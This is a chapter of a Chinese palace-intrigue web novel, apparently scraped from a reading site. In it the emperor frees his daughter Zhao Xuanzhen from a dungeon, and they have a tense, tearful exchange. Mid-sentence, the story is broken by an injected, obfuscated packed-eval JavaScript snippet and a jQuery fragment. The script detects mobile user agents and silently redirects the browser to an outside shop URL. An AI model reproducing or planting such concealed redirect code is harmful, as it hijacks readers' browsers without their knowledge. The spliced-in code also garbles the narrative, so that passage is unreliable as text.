默认冷灰
24号文字
方正启体

64. 第64章

作者:Medear本书字数:K更新时间:
    天光暗沉沉的,像是正在酝酿一场可怕的风暴。


    房间里实在是太暗了,虽未到晚间,可宫人们还是点起了外殿的烛火。


    猩红的烛火光隐隐绰绰地映在织金镂花的幔帐上。


    皇帝的眉头轻轻一皱,随即睁开了双眼。


    一直守在旁边的丽贵妃瞬间察觉,她快步迎了上来,神色却有些不太对。


    皇帝一顿,干笑了两声,道:“难不成还真的搜到了什么见不得人的东西?”


    丽贵妃欲言又止、止言又欲,最后道:“陛下还是自己去看吧。”


    皇帝一言不发,他搭放在被褥上的双手握紧成拳,又缓慢松开,最终他起身,与丽贵妃一同走到殿外。


    负责搜查的内侍跪在冰冷的金砖上,战战兢兢地捧着一个朱红色的托盘。


    托盘中放着一方砚台,砚台旁边摆着一卷墨迹斑斑的宣纸。


    皇帝走上前,皱着眉头拨动了一下宣纸。


    他再一抬头,正好看见皇后疾步匆匆地踏入殿门。


    周遭寂静无声,恍然间一道惊雷劈过,亮白的闪电划破阴沉天际。


    亮白天光中,皇帝与皇后四目相对。


    仿佛冥冥之中被什么东西吓到了一般,躺在稻草上的赵玄真浑身一震,她裹着被子噌得一声坐起身。


    她下意识朝着四周看去,却在看见厚重石墙之时,才恍然想起地牢中没有窗子。


    赵玄真轻轻垂下眼眸,她隐隐觉得外面好像打雷了。


    当然这也可能是她的错觉,这些天里她总是有很多错觉。


    赵玄真把一切都归咎于是地牢中太安静了。


    李大人心细如发、办事妥帖,他必定事先跟地牢中的蛇虫鼠蚁都打了招呼。


    以至于这么多天过去了,赵玄真却连一声老鼠叫都没听见。


    她睁着一双大大的眼睛,愣怔地盯走道中绵延不绝的黑暗。


    随着时间一分一秒地过去,赵玄真心里越来越慌张、越来越紧张。


    父皇已经醒过来很久了,为什么却连一封圣旨、一道口谕都没有传来。


    难道他真的生自己的气了?


    真的怪罪自己了?


    真的不管自己?


    ……


    赵玄真默默地抱住自己,把自己缩成一个小团。


    怎么办?


    自己该怎么办?


    自己的筹码只有这个,如果这一招没用,自己要怎么出去?


    赵玄真的大脑还是飞快地运转,她想到了皇后,想到了赵玄琮,想到了丽贵妃,甚至想到了已经过世的赵玄瑞。


    不行,他们都不行。


    只有顾平。


    赵玄真心想,只有顾平会义无反顾地来救自己。


    可那日的事已让皇帝起了疑心,他越靠近自己,就越麻烦。


    一定有别的办法的。


    一定会有别的办法的。


    ……


    赵玄真不停地安慰自己,慌乱不已的心终于慢慢地镇定下来。


    就再此时,狭长的走道中忽然传来隐约声响。


    声响来得极快,在几个呼吸间便清晰了很多。


    赵玄真定神一听,是脚步声!!!


    她猛得抬头,橘红色的火光瞬间铺了她满脸。


    火光中,她的脸脏兮兮的,身上的衣裙也脏兮兮的,无限可怜地缩成一个小团。


    她平时黑亮柔顺地头发此时黯淡无光地揪成一块,上面甚至还插着一根淡黄色的稻草梗。


    蓬头垢面狼狈不堪,丝毫看不出平时端庄贵气的摸样。


    可是那双眼睛却依然那么亮。


    灼灼的火光在她的眼眸中跳动,她那么期待、那么殷切的看过来,仿佛是在看着她的救世主。


    身为皇帝,他当过很多人的救世主,可他的心里没有一次产生过现在这样的感受。


    他沉寂已久的心脏仿佛被赵玄真眼中的火光点燃,开始猛烈的跳动,他的兴奋与惊喜克制地藏在他不可置信的神情之下。


    他快步朝前走了两步,用怀疑的语气喃喃念道:“霜儿?”


    这句话仿佛冲垮堤坝的最后一滴水,无尽的委屈伴随着泪水一起涌了上来。


    赵玄真紧咬嘴唇,无声地流泪。


    她却蹲在稻草丛中没有动作,无限委屈地看着皇帝,猫儿似的轻声唤了一声:“父皇。”


    宗人府李大人看着赵玄真脏污的衣裙,脸上神情呆滞了半秒,而后飞快地命人打开牢门。


    牢门打开的瞬间,赵玄真朝着皇帝扑去的动作几乎快成了一道残影。


    但因为长时间的蹲坐,脚尖触地,她才察觉自己的双腿酸软不堪,她一个不稳便要踉跄着倒下去。


    赵玄真来不及反应,下一秒却跌落入了一个熟悉的胸膛,龙涎香的气味涌入鼻腔,泪水同时滚落。


    方才的委屈和眼泪是假的,是用来做给皇帝看的,好让他心软心疼的。


    现在的委屈和眼泪却是真的,是连赵玄真自己都没想到的。


    她抓着皇帝的衣摆,整个人仿佛静止了一般,唯有泪水源源不绝。


    眼泪在下巴处汇聚,又从下巴处滴落,冲刷掉赵玄真脸上脏污的同时,也一点一点滴暗了皇帝的衣袍。


    “霜……”皇帝声音一滞,他抬起自己苍老却依然宽大的手掌,轻轻地拍上她的脊背,只道:“这些日子你受苦了。”


    赵玄真原本只是无声流泪,可却被这句简单的话破了功,细碎的哽咽声从她的喉咙间溢出来。


    她顾不上装模作样的演戏了,她也不想装模作样的演戏了。


    她低头埋头蛮横地把眼泪和污渍全部擦到皇帝地龙袍上。


    “九殿下您……”


    旁边不长眼的宫人刚要劝阻,却被皇帝一个目光止住了声音。


    “好了,”皇帝在她后背上轻轻拍了两下,柔声道:“朕这不是来了吗?”


    赵玄真瞬间哇得一声哭出了声,她边哭边大声道:“你怎么来得那么迟啊!”


    “让我被关了好久好久!”


    “这里好冷好冷,你知不知道!”


    “我受伤了,伤口好痛,你又一直不来,我好担心,好害怕!”


    “我怕你会……”赵玄真哭声一顿,赶忙呸呸呸了几声。


    而后她抿着嘴看向皇帝,狠狠地抽泣了一声,继续大声哭道:


    “我还怕你醒来还会生我的气!”


    “更怕你不管我!不要我!!”


    “我怕你要把我关在这里关一辈子!!”


    赵玄真哭得好大声,哭得好委屈。


    皇帝想起来时外面的瓢泼大雨,一时间哭笑不得,只觉得外面的天就是被她哭塌了的。


    随着大雨,地牢中湿意弥漫。


    地牢中越来越冷了,赵玄真又哭得太凶,因而开始发抖。


    皇帝接过內侍递过来的斗篷,把斗篷披在赵玄真地身上。


    “是是是,是朕不对,”皇帝一边


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035818|189825||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    承认自己的错误,一边屈指去刮去赵玄真脸上的泪水道:“朕不该来得那么迟。”


    “不该放任皇后欺负你。”


    “好了,不要再哭了,”皇帝给她系斗篷道,“朕知错了。”


    “朕不是一醒来,就来接你了吗?”


    仿佛惊雷在耳边响起,赵玄真的神智瞬间回笼。


    这个男人不仅是爹,还是皇帝


    方才的所作所为在脑海中一一闪过,赵玄真瞬间惊起了满身的冷汗。


    赵玄真哼哼唧唧地抿住嘴止住哭声,不经意地觑了眼皇帝的神色,见他神色如常,赵玄真便壮着胆子抬手摸着皇帝地胸口,问道:“没事了吗?”


    “全好了吗,胸口还痛吗?”


    话音刚落,便见皇帝漫不尽心地一侧身。


    烛火光照亮驱散黑暗,狭长的走道中,顾平与乌尔珠并肩立于皇帝身后。


    赵玄真猝不及防与顾平四目相对,本就素白的脸庞瞬间又苍白了几分。


    皇帝的目光从她身上幽幽扫过,带着几分兴味地注视着顾平与乌尔珠的神色,意味深长地笑道:“朕可是天子,九五之尊,怎么会被区区一匹小马所伤。”


    “是,”赵玄真一怔,她嘴角熟练地挂起笑容,有些僵硬地说道:“父皇万岁。”


    皇帝大笑两声,他朝着赵玄真张开双臂,展示般的说道:“既然朕的霜儿都这么说了,朕当然不敢不好。”


    “只是你,”皇帝皱着眉头,他当着顾平和乌尔珠的面,抬手轻轻地碰了下赵玄真额头上的绷带,“那么些天过去了,怎么伤口还在渗血。”


    “我……儿臣……”


    如果顾平不在就好了,她便能毫无负担地冲着皇帝卖乖讨宠,说些皇帝爱听的、想听的,变着法儿的哄着他对自己好一点。


    可偏偏顾平在,赵玄真什么好听话也说不出来。


    她觉得自己仿佛被人扒光了衣服,丢在大街上任人审视。


    “怎么?”皇帝定定地注视着她的眼睛,笑着问道,“霜儿想说什么?”


    被猛兽盯上,逃避只有死路一条。


    赵玄真只好与皇帝对视,她周身僵硬,却还是习惯性地挂上了那种撒娇似的甜笑,她道:“儿臣……”


    “……只是……”


    “……太担心父皇了,一想到父皇昏迷不信,被病痛折磨,儿臣,就……就忍不住想要以肉身相替。”


    “以至于……”赵玄真继续说道,“伤口迟迟未能愈合。”


    皇帝略一颔首,笑着追问道:“还有呢?”


    “还有……”赵玄真只觉得自己指尖冰冷,她听见自己说道:“父皇……”


    见皇帝一皱眉头,赵玄真立即改口,道:“赵启,是……”


    “……是我最重要的人,我担心……”


    “我害怕……”


    虽还略有遗憾,但目光扫过顾平和乌尔珠二人发白发青的面色,皇帝微微一笑,也不再追问。


    见到这抹笑容,赵玄真心里陡然一松,她想看看顾平的神色,却在这时眼前一花。


    她用力眨了眨眼,这才终于看见满脸担忧的顾平。


    赵玄真心尖发烫发紧,顾平的反应太明显了,会被皇帝看出来的。


    赵玄真立即移开自己的目光,在看向皇帝的过程中,扫见了正安静地站在黑暗中的寂空。


    注意到她的目光,寂空若有似无地勾了下嘴角。


    紧接着眼前一黑,赵玄真彻底失去了意识。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)